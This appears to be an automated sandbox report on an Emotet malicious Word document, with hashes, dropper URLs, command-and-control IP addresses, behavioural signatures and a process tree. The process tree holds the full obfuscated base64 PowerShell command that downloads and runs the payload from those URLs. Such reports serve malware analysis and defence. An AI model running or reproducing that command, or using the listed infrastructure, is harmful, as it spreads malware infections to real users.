Analysis
- max time kernel
93s - max time network
145s - platform
windows10_x64 - resource
win10v200722 - submitted
28/08/2020, 18:44
Static task
static1
Behavioral task
behavioral1
Sample
Form - Aug 28, 2020.doc
Resource
win7
General
- Target Form - Aug 28, 2020.doc
- Size 217KB
- Sample200828-aqlscqc15e
- SHA256 3d1b12af64d7bde02dfa574e36a6a4ab0002528e458a5bf014450c7e4e84db9d
- MD5 4142080cb0665c505e7eea0d944d6bba
- SHA1 6d8595e4f7f56f493ef93b342bb509d10d7b0e9e
- SHA512 f9bf5194e86ca1c0beffc9e5e334af88da05e89dbc608bde220b950f1bc3a9ea0de0bebb3c6a3d39c757d4e9dd9c1a0a1134138b5c2cf41afba961d76463a438
- MD5 SHA1 SHA512
Malware Config
Extracted
-
ps1
-
exe.dropper
http://blindshade.com/asc-ga/attach/PsysR/
-
exe.dropper
http://darcyaraya.com/cgi-bin/attach/mjGZ/
-
exe.dropper
http://desolcasa.com/libraries/vIIrdbnIpR/
-
exe.dropper
http://pontualpromocoes.com.br/SITE_OLD/attach/WJUj/
-
exe.dropper
https://s-tech.hu/contactform/FMRA/
-
exe.dropper
https://toprakmedia.com/file/JZvy/
-
exe.dropper
http://tohohop.net/bot/file/VcFQqtQn/
Extracted
-
emotet
-
190.136.179.102:80
-
97.107.135.148:8080
-
94.102.209.63:7080
-
162.144.42.60:8080
-
81.214.253.80:443
-
87.106.231.60:8080
-
107.161.30.122:8080
-
66.61.94.36:80
-
139.59.12.63:8080
-
203.153.216.178:7080
-
178.33.167.120:8080
-
179.62.238.49:80
-
50.116.78.109:8080
-
74.208.173.91:8080
-
113.161.148.81:80
-
179.5.118.12:80
-
202.5.47.71:80
-
91.83.93.103:443
-
181.113.229.139:443
-
41.185.29.128:8080
-
37.205.9.252:7080
-
197.232.36.108:80
-
91.75.75.46:80
-
105.209.235.113:8080
-
181.137.229.1:80
-
172.105.78.244:8080
-
157.7.164.178:8081
-
190.55.186.229:80
-
192.163.221.191:8080
-
37.187.100.220:7080
-
5.79.70.250:8080
-
192.241.220.183:8080
-
168.0.97.6:80
-
46.32.229.152:8080
-
115.78.11.155:80
-
68.183.233.80:8080
-
190.96.15.50:80
-
175.29.183.2:80
-
118.101.24.148:80
-
157.245.138.101:7080
-
95.216.205.155:8080
-
46.105.131.68:8080
-
188.251.213.180:443
-
190.53.144.120:80
-
143.95.101.72:8080
-
88.249.181.198:443
-
2.144.244.204:443
-
177.32.8.85:80
-
190.212.140.6:80
-
185.86.148.68:443
-
54.38.143.245:8080
-
190.190.15.20:80
-
189.39.32.161:80
-
186.227.146.102:80
-
185.142.236.163:443
-
201.213.177.139:80
-
134.209.193.138:443
-
190.164.75.175:80
-
77.74.78.80:443
-
198.57.203.63:8080
-
103.80.51.61:8080
-
197.221.158.162:80
-
173.94.215.84:80
-
115.79.195.246:80
-
181.122.154.240:80
-
172.96.190.154:8080
-
82.239.200.118:80
-
81.17.93.134:80
-
201.235.10.215:80
-
178.87.171.199:80
-
24.26.151.3:80
-
75.127.14.170:8080
-
71.57.180.213:80
-
185.208.226.142:8080
-
177.144.130.105:443
-
31.146.61.34:80
-
60.125.114.64:443
-
188.0.135.237:80
-
181.126.54.234:80
-
162.249.220.190:80
-
220.254.198.228:443
-
177.94.227.143:80
-
113.203.250.121:443
-
37.46.129.215:8080
-
1.54.67.22:80
-
45.182.161.17:80
-
86.98.143.163:80
-
51.38.201.19:7080
-
192.210.217.94:8080
-
195.201.56.70:8080
Signatures
- Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
description pid pid_target Process procid_target Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 1392 3888 powersheLL.exe 72 - Blacklisted process makes network request 1 IoCs
flow pid Process 29 1392 powersheLL.exe - Executes dropped EXE 2 IoCs
pid Process 2168 Btsx8m4p.exe 2196 secproc.exe - Drops file in System32 directory 1 IoCs
description ioc Process File opened for modification C:\Windows\SysWOW64\puiapi\secproc.exe Btsx8m4p.exe - Drops file in Windows directory 1 IoCs
description ioc Process File opened for modification C:\Windows\ServiceProfiles\LocalService\winhttp\cachev3.dat svchost.exe - Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString WINWORD.EXE Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 WINWORD.EXE - Enumerates system info in registry 2 TTPs 3 IoCs
description ioc Process Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU WINWORD.EXE - Modifies data under HKEY_USERS 6 IoCs
description ioc Process Key created \REGISTRY\USER\S-1-5-19\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad svchost.exe Key created \REGISTRY\USER\S-1-5-19\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\0e-3e-6f-2c-c8-c7 svchost.exe Set value (int) \REGISTRY\USER\S-1-5-19\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\0e-3e-6f-2c-c8-c7\WpadDecisionReason = "1" svchost.exe Set value (data) \REGISTRY\USER\S-1-5-19\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\0e-3e-6f-2c-c8-c7\WpadDecisionTime = 1e4886f77c7dd601 svchost.exe Set value (int) \REGISTRY\USER\S-1-5-19\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\0e-3e-6f-2c-c8-c7\WpadDecision = "0" svchost.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\windows\CurrentVersion\Internet Settings\Connections svchost.exe - Suspicious behavior: AddClipboardFormatListener 2 IoCs
pid Process 1568 WINWORD.EXE 1568 WINWORD.EXE - Suspicious behavior: EnumeratesProcesses 7 IoCs
pid Process 1392 powersheLL.exe 1392 powersheLL.exe 1392 powersheLL.exe 2196 secproc.exe 2196 secproc.exe 2196 secproc.exe 2196 secproc.exe - Suspicious use of AdjustPrivilegeToken 3 IoCs
description pid Process Token: SeShutdownPrivilege 804 svchost.exe Token: SeCreatePagefilePrivilege 804 svchost.exe Token: SeDebugPrivilege 1392 powersheLL.exe - Suspicious use of SetWindowsHookEx 13 IoCs
pid Process 1568 WINWORD.EXE 1568 WINWORD.EXE 1568 WINWORD.EXE 1568 WINWORD.EXE 1568 WINWORD.EXE 1568 WINWORD.EXE 1568 WINWORD.EXE 1568 WINWORD.EXE 1568 WINWORD.EXE 2168 Btsx8m4p.exe 2168 Btsx8m4p.exe 2196 secproc.exe 2196 secproc.exe - Suspicious use of WriteProcessMemory 6 IoCs
description pid Process procid_target PID 1392 wrote to memory of 2168 1392 powersheLL.exe 80 PID 1392 wrote to memory of 2168 1392 powersheLL.exe 80 PID 1392 wrote to memory of 2168 1392 powersheLL.exe 80 PID 2168 wrote to memory of 2196 2168 Btsx8m4p.exe 81 PID 2168 wrote to memory of 2196 2168 Btsx8m4p.exe 81 PID 2168 wrote to memory of 2196 2168 Btsx8m4p.exe 81
Processes
-
C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\Form - Aug 28, 2020.doc" /o ""1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:1568
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -s WinHttpAutoProxySvc1⤵
- Drops file in Windows directory
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
PID:804
-
C:\Windows\System32\WindowsPowerShell\v1.0\powersheLL.exepowersheLL -e JABHAG0AOQBpAHMAYQB0AD0AKAAoACcARQAnACsAJwA5AGcAJwArACcANwBrAGcAJwApACsAJwBuACcAKQA7ACYAKAAnAG4AJwArACcAZQAnACsAJwB3AC0AaQB0AGUAbQAnACkAIAAkAGUAbgB2ADoAdABlAG0AcABcAHcAbwByAGQAXAAyADAAMQA5AFwAIAAtAGkAdABlAG0AdAB5AHAAZQAgAEQAaQBSAGUAQwBUAE8AcgBZADsAWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAIgBzAGUAQwBVAFIAYABJAFQAWQBgAHAAYABSAGAATwBUAE8AYwBPAGwAIgAgAD0AIAAoACcAdAAnACsAKAAnAGwAcwAxADIALAAnACsAJwAgAHQAJwArACcAbAAnACkAKwAnAHMAJwArACgAJwAxADEALAAgACcAKwAnAHQAbABzACcAKQApADsAJABPAGgAMABzAHgANAAxACAAPQAgACgAJwBCACcAKwAoACcAdABzAHgAOABtACcAKwAnADQAcAAnACkAKQA7ACQAQgB6AHUAawBlAGwAaQA9ACgAKAAnAFoAcABvAHUAMgAnACsAJwByACcAKQArACcAagAnACkAOwAkAEgAOQBnAGkAdwBxADkAPQAkAGUAbgB2ADoAdABlAG0AcAArACgAKAAoACcAZQBYAE4AdwAnACsAJwBvACcAKQArACcAcgBkACcAKwAoACcAZQBYAE4AJwArACcAMgAnACkAKwAoACcAMAAnACsAJwAxADkAZQBYACcAKwAnAE4AJwApACkALgAiAFIAZQBwAGAATABgAEEAQwBlACIAKAAoAFsAYwBoAEEAUgBdADEAMAAxACsAWwBjAGgAQQBSAF0AOAA4ACsAWwBjAGgAQQBSAF0ANwA4ACkALABbAFMAVABSAEkATgBHAF0AWwBjAGgAQQBSAF0AOQAyACkAKQArACQATwBoADAAcwB4ADQAMQArACgAJwAuAGUAJwArACcAeABlACcAKQA7ACQAWABjAHkAawBjAGUAbwA9ACgAJwBLACcAKwAnAHEAJwArACgAJwBkAGwAJwArACcAZABiADcAJwApACkAOwAkAEIAYgB0ADMAdQBkAHYAPQAuACgAJwBuAGUAJwArACcAdwAtAG8AYgBqACcAKwAnAGUAYwB0ACcAKQAgAG4ARQBUAC4AVwBlAEIAQwBMAGkAZQBuAHQAOwAkAFcAaABxAGoAMwBqAHcAPQAoACgAJwBoACcAKwAnAHQAdAAnACsAJwBwADoALwAnACkAKwAoACcALwBiAGwAaQBuACcAKwAnAGQAJwApACsAJwBzACcAKwAnAGgAJwArACgAJwBhAGQAJwArACcAZQAuACcAKQArACcAYwBvACcAKwAoACcAbQAvACcAKwAnAGEAcwAnACkAKwAnAGMAJwArACgAJwAtAGcAJwArACcAYQAnACkAKwAoACcALwAnACsAJwBhAHQAJwApACsAJwB0ACcAKwAoACcAYQBjAGgALwBQAHMAJwArACcAeQBzACcAKwAnAFIALwAnACkAKwAoACcAKgBoAHQAdAAnACsAJwBwADoALwAvACcAKQArACgAJwBkACcAKwAnAGEAcgBjAHkAYQByACcAKwAnAGEAeQAnACkAKwAoACcAYQAuAGMAJwArACcAbwBtACcAKwAnAC8AYwAnACkAKwAnAGcAJwArACgAJwBpAC0AYgAnACsAJwBpAG4AJwArACcALwBhAHQAdABhACcAKQArACgAJwBjAGgALwBtACcAKwAnAGoAJwApACsAKAAnAEcAWgAvACoAJwArACcAaAB0AHQAcAAnACkAKwAoACcAOgAvAC8AJwArACcAZABlAHMAJwApACsAJwBvAGwAJwArACcAYwBhACcAKwAoACcAcwBhAC4AJwArACcAYwAnACsAJwBvAG0ALwBsAGkAJwApACsAJwBiAHIAJwArACgAJwBhAHIAaQBlACcAKwAnAHMALwAnACsAJwB2AEkASQAnACkAKwAoACcAcgAnACsAJwBkAGIAbgAnACkAKwAnAEkAJwArACcAcAAnACsAKAAnAFIALwAnACsAJwAqAGgAJwApACsAJwB0AHQAJwArACgAJwBwACcAKwAnADoALwAvACcAKQArACgAJwBwAG8AbgB0AHUAJwArACcAYQBsACcAKwAnAHAAJwApACsAKAAnAHIAJwArACcAbwBtACcAKQArACgAJwBvAGMAJwArACcAbwBlAHMAJwApACsAKAAnAC4AYwAnACsAJwBvAG0AJwArACcALgBiACcAKwAnAHIALwAnACsAJwBTAEkAVABFAF8AJwArACcATwBMAEQAJwApACsAJwAvAGEAJwArACgAJwB0ACcAKwAnAHQAYQAnACkAKwAoACcAYwAnACsAJwBoAC8AVwBKACcAKQArACgAJwBVAGoAJwArACcALwAqAGgAdAB0AHAAcwAnACsAJwA6ACcAKQArACcALwAnACsAJwAvACcAKwAoACcAcwAtACcAKwAnAHQAJwApACsAJwBlACcAKwAnAGMAJwArACcAaAAuACcAKwAoACcAaAB1AC8AYwBvACcAKwAnAG4AJwApACsAJwB0AGEAJwArACgAJwBjAHQAZgBvAHIAbQAnACsAJwAvACcAKwAnAEYATQBSAEEAJwApACsAJwAvACoAJwArACcAaAAnACsAJwB0ACcAKwAnAHQAcAAnACsAJwBzACcAKwAoACcAOgAvACcAKwAnAC8AdAAnACkAKwAoACcAbwBwACcAKwAnAHIAJwApACsAKAAnAGEAJwArACcAawBtACcAKQArACgAJwBlAGQAJwArACcAaQAnACkAKwAoACcAYQAnACsAJwAuAGMAJwApACsAJwBvACcAKwAoACcAbQAvACcAKwAnAGYAaQAnACkAKwAnAGwAJwArACcAZQAnACsAKAAnAC8ASgBaAHYAJwArACcAeQAnACsAJwAvACoAaAB0AHQAcAAnACsAJwA6AC8ALwAnACkAKwAoACcAdAAnACsAJwBvAGgAJwApACsAJwBvACcAKwAoACcAaABvACcAKwAnAHAALgBuACcAKwAnAGUAdAAvAGIAbwAnACkAKwAnAHQALwAnACsAKAAnAGYAJwArACcAaQBsAGUAJwArACcALwBWAGMAJwArACcARgBRAHEAJwArACcAdABRAG4ALwAnACkAKQAuACIAUwBQAGAAbABpAFQAIgAoAFsAYwBoAGEAcgBdADQAMgApADsAJABOADAAcgBsAF8AXwBiAD0AKAAoACcAWQA5AGsAJwArACcAMgBfACcAKQArACcAYQBtACcAKQA7AGYAbwByAGUAYQBjAGgAKAAkAEEAeAA5AHkAMQByADAAIABpAG4AIAAkAFcAaABxAGoAMwBqAHcAKQB7AHQAcgB5AHsAJABCAGIAdAAzAHUAZAB2AC4AIgBEAG8AVwBuAEwATwBhAGQAYABGAGkAYABsAEUAIgAoACQAQQB4ADkAeQAxAHIAMAAsACAAJABIADkAZwBpAHcAcQA5ACkAOwAkAEYAaABhAGoAZQBmAGkAPQAoACgAJwBJADEANwAnACsAJwB6ACcAKQArACcAaAAnACsAJwA5ADYAJwApADsASQBmACAAKAAoACYAKAAnAEcAJwArACcAZQB0AC0ASQB0AGUAJwArACcAbQAnACkAIAAkAEgAOQBnAGkAdwBxADkAKQAuACIATABgAEUATgBnAHQASAAiACAALQBnAGUAIAAzADkAMAA1ADAAKQAgAHsALgAoACcASQAnACsAJwBuAHYAbwBrAGUALQAnACsAJwBJAHQAZQBtACcAKQAoACQASAA5AGcAaQB3AHEAOQApADsAJABXAGIAMwBhADAAcAA4AD0AKAAoACcAQQBtAGUAJwArACcANQAnACsAJwB4ADYAJwApACsAJwBvACcAKQA7AGIAcgBlAGEAawA7ACQAQgBjADcAYgB3AHAAbgA9ACgAKAAnAE8AXwAnACsAJwBqAGUAJwApACsAKAAnAG4AcQAnACsAJwBhACcAKQApAH0AfQBjAGEAdABjAGgAewB9AH0AJABJAGgAZgAwAHUAYQBqAD0AKAAoACcAQwAnACsAJwBpAGQAJwApACsAJwA1AGQAJwArACcAZAB6ACcAKQA=1⤵
- Process spawned unexpected child process
- Blacklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1392 -
C:\Users\Admin\AppData\Local\Temp\word\2019\Btsx8m4p.exe"C:\Users\Admin\AppData\Local\Temp\word\2019\Btsx8m4p.exe"2⤵
- Executes dropped EXE
- Drops file in System32 directory
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2168 -
C:\Windows\SysWOW64\puiapi\secproc.exe"C:\Windows\SysWOW64\puiapi\secproc.exe"3⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of SetWindowsHookEx
PID:2196
-
-